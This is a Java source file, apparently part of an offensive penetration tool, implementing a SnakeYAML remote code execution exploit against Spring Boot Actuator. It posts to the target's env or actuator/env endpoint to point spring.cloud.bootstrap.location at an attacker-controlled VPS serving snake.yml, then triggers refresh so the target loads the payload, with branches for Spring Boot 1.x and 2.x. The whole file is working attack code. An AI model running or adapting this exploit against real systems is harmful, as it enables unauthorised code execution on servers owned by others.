package com.drops.exp;

import cn.hutool.http.HttpResponse;
import com.drops.entity.ControllersFactory;
import com.drops.exp.util.EnvPost;
import com.drops.exp.util.RefreshPost;
import com.drops.ui.MainController;
import com.drops.utils.HTTPUtils;
import com.drops.utils.URLUtil;
import com.drops.utils.Utils;

/**
 * @ClassName: SnakeYAMLRCEEXP
 * @Description: TODO
 * @Author: Summer
 * @Date: 2021/8/2 16:40
 * @Version: v1.0.0
 * @Description:
 **/
public class SnakeYAMLRCEEXP {

    private final MainController mainController = (MainController) ControllersFactory.controllers.get(MainController.class.getSimpleName());

    public SnakeYAMLRCEEXP() {
    }

    public boolean sendExp(String target, String vps, String hport, boolean version){
//        String boby = "spring.cloud.bootstrap.location=http://" + vps + ":3456/" + "snake" + ".yml";
        String boby = "spring.cloud.bootstrap.location=http://" + vps + ":"+hport +"/" + "snake" + ".yml";
        String boby2 = "{\"name\":\"spring.cloud.bootstrap.location\",\"value\":\"http://"  + vps + ":"+hport+"/" + "snake" + ".yml\"}";
        if (version){
            String url = URLUtil.getROOT(target);
            if (EnvPost.isPostEnv(url)){
                if (RefreshPost.isRefreshPost(url)){
                    HttpResponse re = HTTPUtils.postRequestV1(url,"env",boby);
                    if (re.isOk()){
                        HttpResponse res = HTTPUtils.postRequestV1(url,"refresh");
                        if (res.isOk()){
//                            this.mainController.execOutputArea.appendText(Utils.log(res.body()));
                            return true;
                        }
                    }
                }
            }else {
//                this.mainController.execOutputArea.appendText(Utils.log("利用失败，请手动验证是否存在漏洞！"));
            }
        }else {
            String url = URLUtil.getROOT(target);
            if (EnvPost.isPostEnvV2(url)){
                if (RefreshPost.isRefreshPostV2(url)) {
                    HttpResponse re = HTTPUtils.postRequestV2(url, "actuator/env", boby2);
                    if (re.isOk()) {
                        HttpResponse res = HTTPUtils.postRequestV2(url,"refresh");
                        if (!res.isOk()){
//                            this.mainController.execOutputArea.appendText(Utils.log(res.body()));
                            return true;
                        }
                    }
                }

            }else {
//                this.mainController.execOutputArea.appendText(Utils.log("利用失败，请手动验证是否存在漏洞！"));

            }
        }


        return false;
    }

}
